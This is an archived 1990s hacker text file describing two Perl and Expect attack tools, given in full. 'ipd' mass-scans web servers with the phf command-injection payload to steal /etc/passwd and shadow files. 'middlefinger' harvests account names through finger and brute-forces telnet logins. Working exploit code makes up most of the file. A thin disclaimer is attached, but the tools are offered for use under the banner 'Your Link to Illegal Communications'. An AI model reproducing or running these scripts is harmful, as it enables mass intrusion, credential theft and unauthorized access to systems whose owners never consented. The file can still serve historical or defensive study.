home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / ipd_probe.txt < prev    next >
Text File  |  2001-11-06  |  24KB  |  712 lines

  1.  
  2.              Automating brute force attacks with 'Expect"
  3.                            balif and desslok
  4.  
  5.                              - Abstract -
  6.  
  7. phf, a very fast and efficient phf scanner, and mf, a brute force login
  8. program. Both utilize scripts written in Expect, a scripting language
  9. that automates interactive programs like telnet and ftp.
  10.  
  11.                               - Intro -
  12.  
  13. Hacking of the past:
  14.  
  15. 'A young boy, with greasy blonde hair, sitting in a dark room.  The room is
  16. illuminated only by the luminescense of the C64's 40 character screen.
  17. Taking another long drag from his Benson and Hedges cigarette, the weary
  18. system cracker telnets to the next faceless ".mil" site on his hit list.
  19. "guest -- guest", "root -- root", and "system -- manager" all fail.  No
  20. matter.  He has all night... he pencils the host off of his list, and tiredly
  21. types in the next potential victim...' [1]
  22.  
  23. Hacking of Today:
  24.  
  25. A teenager in t-shirt and jeans types in the commands to sort the results of
  26. the web spider. Six thousand new hosts, not bad. Tonight will be a
  27. productive night. He connects to the server that will be used late into the
  28. night, and spawns a session well hidden from sight.  Recompiling a custom
  29. 'ps' was quite a good idea, he thinks. The program starts. Fifty host names
  30. flash before his eyes. He puts on his leather jacket, slicks back his hair,
  31. and looks at the screen one more time.  Password files are flying by
  32. already. He stands there looking at the screen silently smiling, then hears
  33. the impatient beeping from his ride downstairs. Closing the door, he leaves
  34. for the party. The screen continues to scroll text...
  35.  
  36.                          - Scanning the Internet -
  37.  
  38. Programs like Satan are well known on the Internet. Such programs involve
  39. pages and pages of C code, with complicated functions and limited ability
  40. to be altered or customized. Massive scanning, described above, is well
  41. within the reach of the "average" user and it's amazingly simple. A
  42. working knowledge of Perl is needed. You also need to know a language
  43. called Expect.
  44.  
  45.                             - What is Expect? -
  46.  
  47. Expect is a simple scripting language that uses tcl, which is a small and
  48. simple language designed to be embedded in applications. Expect's main use
  49. is for controlling and automating the use of interactive programs like
  50. ftp, telnet and so forth. An understanding of how the language is
  51. structured and four or five keywords will let you write useful programs.
  52. Using the 'autoexpect' command will let you capture an entire interactive
  53. session, speeding development many times over (see the man page). But
  54. Expect can do so much more. If you wanted a program that would log you
  55. into an ftp server, it might look like this:
  56.  
  57. #!/usr/local/bin/expect --
  58. spawn ftp ftp.somehost.com
  59. expect "ame:"
  60. send "anonymous\r"
  61. expect "assword:"
  62. send "me@myhost.com\r"
  63. expect "ftp>"
  64. interact
  65.  
  66. This will open the ftp program to connect to ftp.somehost.com. Then it
  67. will wait for the appropriate strings and send the correct responses.
  68. 'interact' is a command which turns control back to you, the user. Thus it
  69. will log you in, and then let you do what you like.
  70.  
  71. The main reason Expect is so useful is that it can be programmed to
  72. respond to a variety of responses, and it can have a timeout set to only
  73. let a query attempt run for so long. Expect is critical for scanning. It
  74. would be very difficult, if not impossible, to be able to respond to the
  75. wide variety of responses from hosts, plus handle timeouts in just a Perl
  76. environment, and maintain a high level of efficiency. A quick look at
  77. "fetch.exp"  will show you what we mean.
  78.  
  79. ----------------------------------------------------------------------
  80.  
  81. #!/usr/bin/expect --
  82.  
  83. # Constant
  84. # As a default we query for the passwd file
  85. set pwQuery "/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd"
  86.  
  87. # We get the address and port id from the command line
  88. set address [lindex $argv 0]
  89.  
  90. if {$argc == 3} {
  91.    set port [lindex $argv 1]
  92.    set query [lindex $argv 2]
  93. } elseif {$argc == 2} {
  94.    set port [lindex $argv 1]
  95.    set query pwQuery
  96. } else {
  97.    set port "80"
  98.    set query pwQuery
  99. }
  100. set timeout 45
  101.  
  102. spawn telnet $address $port
  103. expect {
  104.    timeout { puts "timed out"; exit }
  105.    "connection refused" exit
  106.    "Unknown host" exit
  107.    "o route to host" exit
  108.    "o address associated with name" exit
  109.    "nable to connect" exit
  110.    "character is"
  111. }
  112. send "GET $query\r"
  113.  
  114. expect {
  115.    timeout { puts "timed out"; exit }
  116.    "html" { exit }
  117.    "HTML" { exit }
  118.    "closed by" { exit }
  119. }
  120. exit
  121. ----------------------------------------------------------------------
  122. the ipd code follows:
  123.  
  124. ----------------------------------------------------------------------
  125.  
  126. #!/usr/bin/perl
  127.  
  128. # Scans web servers for bad phf executables
  129.  
  130. # Constants.
  131. $max = 25; # how many simultaneous shells to run
  132. $debug = 1;
  133. $path = "pwds";
  134. $shadowpath = "$path/shadowed";
  135. $fh = "fh000"; # filehandle variable
  136. $queries = '/cgi-bin/phf?Qalias=x%0acat%20/etc/passwd%0aecho%20ImPrDr%0aid%0aecho%20ImPrDr%0auname%20-a';
  137. $getShadow = '/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow';
  138.  
  139. ###
  140. ##
  141. # Begin main
  142.  
  143. &banner();
  144.  
  145. # just to be anal
  146. @really_dumb_sites = ();
  147. $tried = $listlength = $totalgotten = $rootservers = $shadowed = 0;
  148.  
  149. # Get server list.
  150. unless ($ARGV[0]) { die "Usage: ipd.pl <server list>\n"; }
  151. open(SERVERS, "$ARGV[0]") or die "Cannot read server list: $!\n";
  152. @servers = <SERVERS>;
  153. close SERVERS;
  154. chomp @servers;
  155. $listlength = @servers;
  156. undef $/; # we won't need this anymore
  157.  
  158. # Break the list of servers into smaller arrays, set by the
  159. # variable $max. We want to run a certain number of simultaneous
  160. # shells, but we don't want to hose the connection too badly.
  161.  
  162. $index = int($#servers / $max); # for stepping through @servers
  163.  
  164. # main loop
  165.  
  166. for ('0' .. $index) {
  167.    @buffer = splice(@servers, 0, $max);
  168.    $tried += @buffer;
  169.    $listlength = @servers;
  170.    print "probe buffer:\n@buffer\n" if $debug;
  171.    &probe(@buffer); # recursively query servers
  172. }
  173.  
  174. # Finish up
  175.  
  176. &try_for_shadowfile(@really_dumb_sites) if ($#really_dumb_sites > 0);
  177.  
  178. print << "EOLN";
  179. Total servers breached:  $totalgotten
  180. Root servers:            $rootservers
  181. Shadowed password files: $shadowed
  182. Done. Exiting...
  183.  
  184. EOLN
  185.  
  186. #
  187. ##
  188. ### End main
  189.  
  190. sub probe {
  191.  
  192.    $level++;
  193.    my $server = shift;
  194.    return unless $server;
  195.    my $port = "";
  196.    my $pipe = "$server$level";
  197.    if ($server =~ /:/) {
  198.       ($server, $port) = ($`, $');
  199.    } else {
  200.       $port = "80";
  201.    }
  202.  
  203.    open $pipe, "fetch.exp $server $port $queries|"
  204.       or die "Can't open pipe to fetch: $!\n";
  205.  
  206.    &probe(@_); # recurse
  207.  
  208.    ($lines) = <$pipe>;
  209.    close $pipe;
  210.    my $filehandle = $fh++;
  211.    print "$lines\n";
  212.  
  213.    if ($lines =~ /root/ ) {
  214.  
  215.       $totalgotten++;
  216.       (undef, undef, undef, undef,
  217.             $pwfile, $uid, $uname) = split /ImPrDr/o, $lines;
  218.       @passwd = split /\n|\r/, $pwfile;
  219.       $uid =~ s/\r|\n//gs; # Needed to preserve output
  220.       ($uname) = $uname =~ /(.*?)(Connection closed by|<\/PRE>)/s;
  221.       undef $pwfile;
  222.       @passwd = grep /([^:]*:){6,}/o, @passwd;
  223.  
  224.       print "DEBUG $server \@passwd:\n@passwd\nUID: $uid\nUNAME: $uname\n\n" if $debug;
  225.  
  226.       if (grep /root:.:/, @passwd) {
  227.          if ($uid =~ /root/) {
  228.             push (@really_dumb_sites, "$server:$port");
  229.             $rootservers++;
  230.          }
  231.          $pathname = "$shadowpath/$server.shpw";
  232.          $shadowed++;
  233.       } else {
  234.          $pathname = "$path/$server.pw";
  235.       }
  236.  
  237.       print "\nfilename: $pathname\n" if $debug;
  238.       open $filehandle, ">$pathname"
  239.          or die "Can't write passwd file '$pathname': $!\n";
  240.  
  241.       print $filehandle join("\n", @passwd);
  242.       close $filehandle;
  243.  
  244.       open(IDLOG, ">>idlog") or die "No ID log: $!\n";
  245.       print IDLOG "$server $port\n$uid\n$uname\n--\n";
  246.    }
  247.  
  248.    print "Leaving on $server\n\n" if $debug;
  249.    &show_status();
  250.  
  251. }
  252.  
  253. sub try_for_shadowfile {
  254.  
  255.    my ($server, $portno) = split(/:/, shift);
  256.    return unless $server;
  257.    my $filehandle = "SHADOW$server";
  258.  
  259.    print "\n\nTrying for shadow on $server\n\n";
  260.  
  261.    open($filehandle, "fetch.exp $server $portno $getShadow|")
  262.       or warn "Cannot fetch shadow from $server: $!\n";
  263.  
  264.    &try_for_shadowfile(@_);
  265.  
  266.    print "\n===================try_for_shadowfile==================\n\n";
  267.    my @lines = <$filehandle>;
  268.    my @shadow = grep /[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:/o, @lines;
  269.    close $filehandle;
  270.  
  271.    if (grep /root/, @shadow) {
  272.       print "\nGOT SHADOW FROM $server!!!\n\n";
  273.       open($filehandle, ">$shadowpath/$server.sh")
  274.          or die "Can't print out shadow for '$server': $!\n";
  275.       print $filehandle @shadow;
  276.       close $filehandle;
  277.    } else {
  278.       print "\nCouldn't get shadow for $server\n";
  279.    }
  280.    print "\n===================try_for_shadowfile==================\n\n";
  281. }
  282.  
  283. sub banner {
  284. print << "EOLN";
  285.  
  286.                            Imperial Probe Droid
  287.                      Copyleft (C)1997 Americrack Inc.
  288.                    "Your Link to Illegal Communications"
  289.  
  290. EOLN
  291. }
  292.  
  293. sub show_status {
  294.  
  295.    print << "EOLN";
  296.    --------------- ipd ---------------
  297.    Tried: $tried Remaining: $listlength
  298.    Total servers breached: $totalgotten
  299.    Root servers: $rootservers
  300.    Shadowed password files: $shadowed
  301.  
  302. EOLN
  303. }
  304.  
  305. ----------------------------------------------------------------------
  306.                                - Section 1. -
  307.                          - Putting it all together -
  308.                          -- Internet Probe Droid --
  309.  
  310. Internet Probe Droid, or ipd, is a program that combines the efficient
  311. manipulation of text that Perl offers with the controlling power of
  312. Expect. The Perl code features a recursive subroutine, as deep as you'd
  313. like (or can handle), that breaks up the server list and calls the Expect
  314. "wrapper" to make the connection. The wrapper ensures that connections
  315. terminate appropriately, or times out after a specified amount of time.
  316.  
  317. With the recursion, a well chosen timeout, and a decent amount of memory
  318. and processing power, it is possible to scan an unbelievable amount of
  319. hosts. Recursion is the key to speed. Scanning 30 hosts at a time, with a
  320. 30 second timeout, you can scan approximately 3600 hosts in an hour.
  321. Increasing the timeout will allow for hosts that may be  lagging or have
  322. very large password files. Increasing the recursion depth may speed up
  323. scanning, but also may make your drive start to thrash and slow down the
  324. scan.
  325.  
  326.                     - OK great. But what does it scan?? -
  327.  
  328. The original purpose of ipd was to scan for phf, which is a well known
  329. exploit, so read an advisory if you need any more information. However, the
  330. basic engine can be used to scan anything! It's been rewritten to record
  331. Sendmail versions, attempt to get unshadowed password files from anonymous
  332. ftp logins, and it could even be setup to attempt to login to servers with
  333. default passwords... which 'middlefinger' does, exploiting finger data.
  334. See the next section for more on that.
  335.  
  336.                      - Information about phf Scanning -
  337.  
  338. ipd uses some ingenious techniques to gather as much information in as
  339. little time on as many hosts as possible. By having multiple "%0a"
  340. sequences it embeds several commands in one phf query, gathering the
  341. password file, the output of "id" to determine what the web server is
  342. running at, and the output of "uname -a" to get version information. To
  343. aid in splitting this information up, ipd also has the server help out a
  344. bit. In the phf string it includes two echoes, which the Perl program uses
  345. to split on.
  346.  
  347. If the server does not run phf, or does not let you exploit it, then ipd
  348. will not do anything with the output and continue scanning. If it does,
  349. then it breaks up the output. Then it determines if the password file is
  350. shadowed or unshadowed. It saves it to the appropriate directory, thus
  351. sorting the results for you. Then it saves the results of "id" and "uname
  352. -a" to a log file, to be later reviewed by you.
  353.  
  354.                - How to prepare a "hosts" file for scanning -
  355.  
  356. The program "grab.pl" will search through a HTML source document and
  357. gather all Web URL's that it finds. You can sort and uniq this list, and
  358. then you are ready to go. To get documents, either do web searches for
  359. common words, run a web spider, or download large bookmark files.  There
  360. are dozens of ways of getting a large quantity of URL's.
  361.  
  362.                             - How to run ipd -
  363.  
  364. It couldn't be easier. Type "ipd <server list to scan>". Then let it run.
  365.  
  366.                        - Problems with running ipd -
  367.  
  368. Every time you make a request from a web server, it logs in it in an
  369. access_log. Some sites detect the phf string and log your IP, in some
  370. cases even claiming to automatically "mail your administrator." One site
  371. would go so far as to port scan you back. If you run this program, even
  372. from a Dynamic IP on your local machine, your administrator is bound to
  373. get a lot of responses from pissed off people. So it's a good idea not to,
  374. and study the code to learn a little bit about perl instead. <g>
  375.  
  376.                              - History of ipd -
  377.  
  378. V.0
  379. -We both came out with a simple script that would scan one host at a time.
  380.   One did a "lynx -dump ... > filename". Then Expect was added and fetch.exp
  381.   written. It would log EVERYTHING and the output would have to be searched
  382.   by hand. The "glue" script was named "auto.pl", but dropped and ipd was used.
  383. -ipd was improved to better manage and sort output, saving only useful
  384.  information.
  385.  
  386. V.1
  387. -Recursion was added. This improved the script's speed a thousandfold.
  388.  
  389. V.2
  390. -ipd would record each host that ran phf, then make one massive "id" scan on
  391.  them. ipd would make requests for "id" iff a server responded to the phf
  392.  string.
  393. -ipd would record each host that had a shadowed password file, and attempt
  394.   to get the shadow file if the server ran as root.
  395. -The Python phf scanner was released it 2600 Magazine. It did exactly what
  396.  auto.pl did two months ago. We laughed and then vowed to release ipd.
  397. -A little later, ipd was altered to scan and record Sendmail versions and
  398.   get unshadowed pw files via ftp. (Although they are very rare now a days.)
  399.  
  400. V.3
  401. -ipd sent multiple requests in one phf query, and became even faster.
  402.  This reduced the code quite a bit too. "uname -a" recording was included.
  403.  
  404. -ipd released!
  405.  
  406.                          - Why ipd was Released -
  407.  
  408. This program effectively demonstrates the power of Perl and Expect. It
  409. also shows just how many hosts still run an exploitable version of phf
  410. after more than a year of security alerts. What's even more amazing is how
  411. many people run phf as root. We didn't release this to be "malicious
  412. hackers." We hope that by having such an effective program being handed out,
  413. people will become more inclined to be informed about basic security
  414. problems.
  415.  
  416.                               - ipd Usage -
  417.  
  418. You need a list of web servers. ipd will read the list and query as many
  419. servers as you set the $depth variable in the ipd script. Try starting
  420. with 20 or 50. System loads of 50 are quite a site, so you may want to run
  421. 'top' in another window to watch the load.
  422.  
  423. ipd will print all activity to stdout, but it will only log id and uname
  424. info to a file ("idlog") and it will sort shadowed and unshadowed passwd
  425. files in ./pwfiles/shadowed. For more or less verbose output toggle the
  426. $debug variable.
  427.  
  428.                               - Section 2. -
  429.        - middlefinger: Automating brute force login attempts -
  430.  
  431. middlefinger was conceived as a way to exploit the finger command. For
  432. years it's been written about how finger creates a system vulnerability...
  433. but certainly only if one has the patience to repeatedly attempt to login
  434. to accounts based on what little data is gathered with finger. Who wants
  435. to sit for hours trying to login based on guesses? Of course when the task
  436. is extremely repetitive, this suggests there must be a way to automate it
  437. :-)
  438.  
  439. Expect provides a simple way to automate the entire login attempt. Try
  440. reading the simple script mf uses, called "login.exp":
  441.  
  442. ----------------------------------------------------------------------
  443.  
  444. #!/usr/bin/expect --
  445.  
  446. set host [lindex $argv 0]        ;# host is taken from the command line
  447. set account [lindex $argv 1]     ;# ditto the account name
  448. set pw [lrange $argv 2 end]      ;# the rest are potential passwords
  449. set timeout 60
  450.  
  451. foreach password $pw {
  452.    puts "\n\nExpect: using $account $password -----------------------------"
  453.    spawn telnet $host
  454.    expect "ogin:"
  455.    send "$account\r"
  456.    expect "assword:"
  457.    send "$password\r"
  458.    expect {
  459.       # we look for the "Last login" message or shell prompts
  460.       "ast login" {
  461.          puts "LOGGED INTO $host $account $password"
  462.          send "exit\r";
  463.       }
  464.       "#$" {
  465.          puts "LOGGED INTO $host $account $password"
  466.          send "exit\r";
  467.       }
  468.       "%$" {
  469.          puts "LOGGED INTO $host $account $password"
  470.          send "exit\r";
  471.       }
  472.       "\$$" {
  473.          puts "LOGGED INTO $host $account $password"
  474.          send "exit\r";
  475.       }
  476.       # otherwise bail out
  477.       "incorrect" close
  478.       "invalid" close
  479.    }
  480. }
  481. exit
  482. ---------------------------------------------------------------------
  483.  
  484. Explicit closes and exits will save system resources. With a recursive
  485. Perl script acting as the "glue" language, we can attempt dozens of
  486. simultaneous logins at once.
  487.  
  488. mf is mostly a Perl script but the functionality of Expect is what makes
  489. the task so easy to accomplish. mf will gather loads of finger data for
  490. you, storing it in an array, and then use the collected data to attempt to
  491. login to the remote host by sheer brute force (using as many simultaneous
  492. login attempts as your system and network can handle, not to mention the
  493. remote!) A passwd file can also be used for login data. Here is "mf.pl":
  494.  
  495. ----------------------------------------------------------------------
  496.  
  497. #!/usr/bin/perl
  498.  
  499. # 'middlefinger'
  500. # Finger a remote host, collect accounts and names.
  501. # or use provided passwd file
  502. # Use that data to attempt to login.
  503.  
  504. $max = 15;
  505. $host = $passwdfile = $debug = $pwlist = 0;
  506. &parser(); # parse command line
  507. die "Usage: mf.pl [-h<remote host>] [-f<passwdfile>] [-l<password list>] [-d]\n" unless $host;
  508.  
  509. &banner();
  510.  
  511. # Names to finger. This can obviously be expanded.
  512. @names = qw/mike steve michael mark tim susan cheryl laura john william
  513. bill jill sue chris adam kathy cathy rebecca joseph joe frank tracy tammy
  514. christopher alan edward shelly emily carrie terry carol caroline paul
  515. brian tom thomas heather becky barbara barb todd ron ronald
  516. david sharon harold frank benjamin jean gene lisa lee anthony/;
  517.  
  518. # Collect account data
  519. if ($passwdfile) {
  520.    open FILE, "$passwdfile" or die "Can't open $passwdfile: $!\n";
  521.    @accountdata = <FILE>;
  522.    close FILE;
  523.  
  524.    &refine_passwdfile_data();
  525.  
  526. } else {
  527.    # finger the remote for info
  528.    foreach $name (@names) {
  529.       print "Trying $name...\n" if $debug;
  530.       open PIPE, "finger -l $name\@$host|"
  531.          or die "No finger $name\@$host: $!\n";
  532.       @accountdata = (@accountdata, <PIPE>);
  533.       close PIPE;
  534.    }
  535.  
  536.    print "Refining finger data\n" if $debug;
  537.    &refine_finger_data();
  538.  
  539. }
  540.  
  541. # Break the list of accounts into smaller arrays, set by the
  542. # variable $max. We want to run a certain number of simultaneous
  543. # shells, but we don't want to max out the ports on the other end
  544. # or hose the connection too bad.
  545.  
  546. @keys = sort keys %hash;
  547. $index = int($#keys / $max); # for stepping through the array @keys
  548.  
  549. for ('0' .. $index) {
  550.    @buffer = splice(@keys, 0, $max);
  551. #   print "buffer: @buffer \nlength: $#keys\n";
  552.  
  553.    &try_to_login(@buffer);
  554. }
  555.  
  556. print "\nDone. Exiting...\n";
  557.  
  558. ###
  559. ###  Subroutines
  560. ###
  561.  
  562. # Attempt to login with each account
  563. sub try_to_login {
  564.  
  565.    my $account = shift;
  566.    return unless $account;
  567.    $level++;
  568.    my $pipe = "PIPE$level";
  569.  
  570.    open $pipe, "login.exp $host $account @{$hash{$account}}|"
  571.       or warn "No pipe to telnet: $!\n";
  572.  
  573.    &try_to_login(@_); # recurse
  574.  
  575.    print "\n=====================================================\n";
  576.    print "Trying ACCOUNT: $account PASSWORDS: @{$hash{$account}}\n";
  577.    my @lines = <$pipe>;
  578.    close $pipe;
  579.    print "@lines";
  580.    print "\n=====\n";
  581.  
  582. }
  583.  
  584. # filter out potential nonpasswords
  585. sub pw_filter {
  586.    my %pws;
  587.    my (@list) = @_;
  588.    print "List: @list\n" if $debug;
  589.    if ($passwdfile) {
  590.       for (@list) {
  591.          unless (length($_) < 5) {
  592.             s/[()']//g;
  593.             $pws{$_}++;
  594.             if (length($_) == 5) { $pws{"${_}1"} = "${_}1"; }
  595.          }
  596.       }
  597.    } else {
  598.       # process finger data
  599.       for (@list) {
  600.     unless ($_ =~ /login|login:|name:|name|in|real|life/i || length($_) < 5) {
  601.             s/[()']//g;
  602.             $pws{$_}++;
  603.             if (length($_) == 5) { $pws{"${_}1"} = "${_}1"; }
  604.          }
  605.       }
  606.    }
  607.    print "returning ", join(' ', keys %pws), "\n" if $debug;
  608.    return keys %pws;
  609. }
  610.  
  611. # parse the command line
  612. sub parser {
  613.    for (@ARGV) {
  614.       /^-h/ && do { $host = $';   next; };
  615.       /^-f/ && do { $passwdfile = $'; next; };
  616.       /^-d/ && do { $debug = 1;   next; };
  617.       /^-l/ && do { $pwlist = $'; next; };
  618.    }
  619. }
  620.  
  621. # Refine finger data
  622. sub refine_finger_data {
  623.  
  624.    @logins = grep /Login/, @accountdata;
  625.    chomp @logins;
  626.    # Dumb kludge. "@logins = grep /[^?]$/, @logins;" doesn't work.
  627.    for (@logins) {
  628.       /.$/;
  629.       if ($& eq '?') { undef $_; }
  630.    }
  631.  
  632.    print "filtered logins:\n", join("\n", @logins);
  633.  
  634.    $results = @logins;
  635.    die "Insufficient account data\n" unless $results;
  636.  
  637.    # Store login data into data structure
  638.    for (@logins) {
  639.       tr/[A-Z]/[a-z]/;
  640.       s/(\s)+/ /g;
  641.       print "\n\nDespaced: $_\n" if $debug;
  642.       @a = split(/ /);
  643.       print "pw_filter: ", join(' ', &pw_filter(@a)), "\n" if $debug;
  644.       # toggle this depending on finger's output
  645.       $login = $a[2]; #                                  <----- TOGGLE!
  646.       $hash{$login} = [ &pw_filter(@a) ];
  647.       print "Data: account-> $login, pws-> @{$hash{$login}}\n\n" if $debug;
  648.    }
  649.  
  650. }
  651.  
  652. sub refine_passwdfile_data {
  653.    for (@accountdata) {
  654.       @fields = split(/:/);
  655.       @namedata = split(/,/, $fields[4]);
  656.       print "pwdata: $fields[0] $namedata[0]\n" if $debug;
  657.       $login = $fields[0];
  658.       $namedata[0] =~ tr/A-Z/a-z/;
  659.       @a = split(/ /, $namedata[0]);
  660.       print "pw_filter: ", join(' ', &pw_filter(@a)), "\n" if $debug;
  661.       $hash{$login} = [ &pw_filter($login, @a) ];
  662.       print "Data: account-> $login, pws-> @{$hash{$login}}\n\n" if $debug;
  663.    }
  664. }
  665.  
  666. sub banner {
  667. print << "EOLN";
  668.  
  669.                                Middle Finger
  670.                      Copyleft (C)1997 Americrack Inc.
  671.                    "Your Link to Illegal Communications"
  672.  
  673. EOLN
  674. }
  675.  
  676. ----------------------------------------------------------------------
  677.  
  678. An important tweak you will have to make if you use 'finger' data:  finger
  679. output is different under the various versions and proprietary copies.
  680. Look for the line in the Perl script that indicates where to set the index
  681. numbers.  For example:
  682.  
  683. Login: luser                            Name: Joe Blow
  684. Directory: /home/timski                 Shell: /bin/bash
  685. Never logged in.
  686. New mail received Wed Jun  4 15:41 1997 (EDT)
  687.      Unread since Tue Mar 18 22:36 1997 (EDT)
  688. No Plan.
  689.  
  690. The index here would be 1 for the account name. mf will use the name data
  691. to generate simple passwords and the rest will be discarded.
  692.  
  693. middlefinger proved to be effective on its very first test run, which was
  694. both amazing and disturbing. Not allowing fingers to your host machines
  695. would indeed be a very good idea.
  696.  
  697. Later it was decided to add the capability to parse passwd files and use
  698. that data to attempt a brute force login to a system, which also proved
  699. very effective. Shadowed passwd files make a good source, an abundance of
  700. which you can collect with ipd. Unlike ipd, mf does not sort its output
  701. very well, which we leave as an excercise to the reader :-) It is easy to
  702. cook up a Perl script to reduce the output (which you can capture with
  703. 'script', for example).
  704.  
  705. Expect can be used to write a simple wardialer as well. There seems to be
  706. little Expect cannot automate. It is an indispensable system
  707. administration tool.
  708.  
  709. [1] Quote from Improving the Security of Your Site by Breaking Into it by
  710.     Dan Farmer, Wietse Venema
  711.  
  712.